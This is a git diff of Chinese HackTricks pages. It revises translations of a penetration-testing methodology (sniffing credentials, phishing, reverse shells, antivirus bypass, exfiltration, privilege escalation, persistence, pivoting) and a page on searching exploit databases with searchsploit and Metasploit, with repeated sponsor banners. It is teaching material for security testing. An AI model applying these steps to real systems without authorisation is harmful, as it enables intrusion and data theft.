* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点陈旧未更新
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点陈旧未更新
## **参考资料**
* 所有[**@Jhaddix**](https://twitter.com/Jhaddix)的免费课程,如[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要黑入不可黑入的 - **我们正在招聘!**_需要流利的波兰语书面和口头表达能力_)。
如果您对**黑客职业**感兴趣并想要黑入不可黑入的 - **我们正在招聘!**需要熟练的波兰语书面和口语能力)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -647,8 +647,8 @@ _请注意期望使用常规Google浏览器运行整个数据库的工具将
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 探索我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,17 +6,17 @@
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享您的黑客技巧。**
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口表达能力)。
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,15 +24,15 @@
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Hacktricks的logo由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_设计。_
_Hacktricks的标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_设计。_
### 0- 物理攻击
您是否**可以物理访问**要攻击的机器?您应该阅读一些关于[**物理攻击的技巧**](../physical-attacks/physical-attacks.md)以及其他关于[**从GUI应用程序中逃逸**](../physical-attacks/escaping-from-gui-applications/)的内容
您是否具有攻击目标机器的**物理访问权限**?您应该阅读一些关于[**物理攻击的技巧**](../physical-attacks/physical-attacks.md)以及其他关于[**从GUI应用程序中逃逸**](../physical-attacks/escaping-from-gui-applications/)的技巧
### 1 - [发现网络内的主机](pentesting-network/#discovering-hosts)/ [发现公司资产](external-recon-methodology/)
**取决于**您执行的测试是**内部测试还是外部测试**,您可能有兴趣查找公司网络内的主机(内部测试)或在互联网上查找公司的资产(外部测试)。
**取决于**您执行的**测试**是**内部测试还是外部测试**,您可能有兴趣查找公司网络内的主机(内部测试)或在互联网上查找公司的资产(外部测试)。
{% hint style="info" %}
请注意,如果您正在执行外部测试,一旦成功访问公司内部网络,您应重新开始本指南。
@ -40,8 +40,8 @@ _Hacktricks的logo由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### **2-** [**与网络玩耍**](pentesting-network/) **(内部)**
**此部分仅适用于执行内部测试。**\
在攻击主机之前,您可能更喜欢从网络中**窃取一些凭据**或**嗅探**一些**数据**以 passively/actively(MitM) 了解网络内部可以找到什么。您可以阅读[**渗透测试网络**](pentesting-network/#sniffing)。
**此部分仅适用于执行内部测试的情况。**\
在攻击主机之前,您可能更喜欢从网络中**窃取一些凭据**或**嗅探**一些**数据**以 passively/actively(MitM) 学习网络内部可以找到什么。您可以阅读[**渗透测试网络**](pentesting-network/#sniffing)。
### 3- [端口扫描 - 服务发现](pentesting-network/#scanning-hosts)
@ -49,22 +49,22 @@ _Hacktricks的logo由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### **4-** [搜索服务版本漏洞](search-exploits.md)
一旦您知道哪些服务正在运行,也许知道它们的版本,您必须**搜索已知漏洞**。也许您很幸运找到了一个可以为您提供shell的漏洞...
一旦您知道哪些服务正在运行,也许知道它们的版本,您必须**搜索已知漏洞**。也许您很幸运找到了一个可以为您提供shell的漏洞利用程序...
### **5-** 渗透测试服务
如果没有任何正在运行服务的花哨漏洞,您应该查找每个运行服务中的**常见配置错误**。
如果没有任何正在运行服务的高级漏洞利用程序,您应该查找每个正在运行服务中的**常见配置错误**。
**在本书中,您将找到渗透测试最常见服务的指南**(以及其他不太常见的服务)**。请在左侧索引中搜索** _**渗透测试**_ **部分**(服务按其默认端口排序)。
**我想特别提一下** [**渗透测试Web**](../network-services-pentesting/pentesting-web/) **部分(因为它是最广泛的部分)。**\
**我想特别提** [**渗透测试Web**](../network-services-pentesting/pentesting-web/) **部分(因为它是最广泛的部分)。**\
此外,您可以在这里找到一个关于[**查找软件中已知漏洞**](search-exploits.md)的小指南。
**如果您的服务不在索引中请在Google中搜索**其他教程,并告诉我是否要添加它。如果在Google中**找不到任何内容**,请执行您自己的**盲目渗透测试**,您可以从**连接到服务,对其进行模糊处理并阅读响应**(如果有)开始。
**如果您的服务不在索引中请在Google中搜索**其他教程,并**告诉我您是否希望我添加它。**如果在Google中**找不到任何内容**,请执行**自己的盲目渗透测试**,您可以从**连接到服务,对其进行模糊处理并阅读响应**(如果有)开始。
#### 5.1 自动工具
还有一些工具可以执行**自动漏洞评估**。**我建议您尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的基于本书中关渗透测试服务的笔记的工具。**
还有一些可以执行**自动漏洞评估**的工具。**我建议您尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于您可以在本书中找到的有关渗透测试服务的笔记。**
#### **5.2 对服务进行暴力破解**
@ -72,25 +72,25 @@ _Hacktricks的logo由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### 6- [钓鱼](phishing-methodology/)
如果到目前为止您没有找到任何有趣的漏洞,您**可能需要尝试一些钓鱼**以便进入网络。您可以阅读我的钓鱼方法论[这里](phishing-methodology/)
如果到目前为止您没有找到任何有趣的漏洞,您**可能需要尝试一些钓鱼**以便进入网络。您可以阅读我的钓鱼方法论[这里](phishing-methodology/)
### **7-** [**获取Shell**](shells/)
某种程度上,您应该已经找到了在受害者中执行代码的**某种方法**。然后,[系统中可能有用于获取反向shell的工具列表将非常有用](shells/)。
某种程度上,您应该已经找到了在受害者中执行代码的**某种方法**。然后,[您可以使用系统中的可能工具列表来获取反向shell](shells/)。
特别是在Windows中您可能需要一些帮助来**避开防病毒软件**[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
### 8- 内部
如果您在shell方面遇到问题您可以在这里找到渗透测试人员最有用的一些命令的小**汇编**
如果您在shell方面遇到问题您可以在这里找到渗透测试人员最有用的命令的小**汇编**
- [**Linux**](../linux-hardening/useful-linux-commands/)
- [**WindowsCMD**](../windows-hardening/basic-cmd-for-pentesters.md)
- [**WindowsPS**](../windows-hardening/basic-powershell-for-pentesters/)
* [**Linux**](../linux-hardening/useful-linux-commands/)
* [**WindowsCMD**](../windows-hardening/basic-cmd-for-pentesters.md)
* [**WindowsPS**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**数据外泄**](exfiltration.md)
您可能需要从受害者那里**提取一些数据**,甚至**引入一些东西**(如权限提升脚本)。**这里有一篇关于您可以用于这些目的的常见工具的帖子**[**。**](exfiltration.md)
您可能需要从受害者那里**提取一些数据**,甚至**引入一些东西**(如权限提升脚本)。**在这里,您可以找到** [**用于这些目的的常见工具的帖子**](exfiltration.md)**。**
### **10- 提权**
#### **10.1- 本地提权**
@ -99,16 +99,16 @@ _Hacktricks的logo由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
在这里,您可以找到有关如何在[**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **本地提升权限的指南。**\
您还应该查看有关**Windows工作原理**的页面:
- [**身份验证、凭据、令牌权限和UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
- [**NTLM的工作原理**](../windows-hardening/ntlm/)
- 如何在Windows中[**窃取凭据**](broken-reference/)
- 有关[_**Active Directory**_](../windows-hardening/active-directory-methodology/)的一些技巧
* [**身份验证、凭据、令牌权限和UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* [**NTLM的工作原理**](../windows-hardening/ntlm/)
* 如何在Windows中[**窃取凭据**](broken-reference/)
* 有关[_**Active Directory**_](../windows-hardening/active-directory-methodology/)的一些技巧
**不要忘记查看用于枚举Windows和Linux本地提权路径的最佳工具** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- 域提权**
在这里,您可以找到一种[**解释最常见操作的方法论用于枚举、提升权限和在Active Directory上持久存在**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子节,这个过程在渗透测试/红队任务中可能会**非常敏感**。
在这里,您可以找到一种[**解释最常见操作的方法论用于枚举、提升权限和在Active Directory上保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能会**非常敏感**。
### 11 - POST
@ -120,16 +120,16 @@ _Hacktricks的logo由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
#### 11.2 - 持久性
**使用2到3种不同类型的持久性机制这样您就不需要再次利用系统。**\
**在这里,您可以找到有关Active Directory上** [**持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
**在这里,您可以找到一些关于Active Directory中** [**持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
TODO: 完成Windows和Linux中的持久性Post
### 12 - 转移
### 12 - 枢纽
利用**收集到的凭据**,您可以访问其他机器,或者您可能需要**发现和扫描新主机**(重新开始渗透测试方法论)您的受害者连接的新网络中。\
利用**收集到的凭据**,您可以访问其他机器,或者您可能需要**发现和扫描新主机**(重新开始渗透测试方法论),这些主机位于您的受害者连接的新网络中。\
在这种情况下,可能需要进行隧道设置。在这里,您可以找到有关[**隧道设置的文章**](tunneling-and-port-forwarding.md)。\
您还应该查看有关[Active Directory渗透测试方法论](../windows-hardening/active-directory-methodology/)的文章。在那里,您将找到移动横向、提升权限和转储凭据的有趣技巧。\
还要查有关[**NTLM**](../windows-hardening/ntlm/)的页面,这可能对在Windows环境中进行转移非常有用。
绝对还应该查看有关[**Active Directory渗透测试方法论**](../windows-hardening/active-directory-methodology/)的文章。在那里,您将找到移动横向、提升权限和转储凭据的酷炫技巧。\
还要查有关[**NTLM**](../windows-hardening/ntlm/)的页面,这对于在Windows环境中进行枢纽可能非常有用。
### 更多
@ -137,21 +137,21 @@ TODO: 完成Windows和Linux中的持久性Post
#### **利用**
- [**基本的Linux利用**](../exploiting/linux-exploiting-basic-esp/)
- [**基本的Windows利用**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
- [**基本利用工具**](../exploiting/tools/)
* [**基本的Linux利用**](../exploiting/linux-exploiting-basic-esp/)
* [**基本的Windows利用**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
* [**基本利用工具**](../exploiting/tools/)
#### [**基本Python**](python/)
#### **加密技巧**
- [**ECB**](../cryptography/electronic-code-book-ecb.md)
- [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
- [**填充Oracle**](../cryptography/padding-oracle-priv.md)
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**填充Oracle**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。
如果您对**黑客职业**感兴趣,并想要黑入不可黑入的 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -161,10 +161,10 @@ TODO: 完成Windows和Linux中的持久性Post
支持HackTricks的其他方式
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -14,7 +14,7 @@
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
@ -30,7 +30,7 @@
* [**基本的Python网络请求语法**](web-requests.md)
* [**基本的Python语法和库**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
@ -39,24 +39,24 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流程。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -9,12 +9,12 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -117,10 +117,10 @@ return 1
term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和**自动化**由全球**最先进**的社区工具驱动的工作流程。\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -133,8 +133,8 @@ term.cmdloop()
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,4 +1,4 @@
# 搜索漏洞利用
# 搜索漏洞
<details>
@ -8,13 +8,13 @@
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 探索我们的独家[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -30,7 +30,7 @@
### Searchsploit
用于从控制台中搜索**exploitdb服务**的漏洞利用
用于从控制台中搜索**exploitdb服务**的漏洞。
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -50,34 +50,34 @@ msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
如果没有找到任何内容,请尝试在[https://packetstormsecurity.com/](https://packetstormsecurity.com)中搜索使用的技术
如果没有找到任何内容,请尝试在 [https://packetstormsecurity.com/](https://packetstormsecurity.com) 中搜索使用的技术
### Vulners
您还可以在vulners数据库中进行搜索:[https://vulners.com/](https://vulners.com)
您还可以在 vulners 数据库中搜索:[https://vulners.com/](https://vulners.com)
### Sploitus
这将在其他数据库中搜索漏洞利用:[https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和 **自动化工作流程**,使用世界上 **最先进** 的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
支持 HackTricks 的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
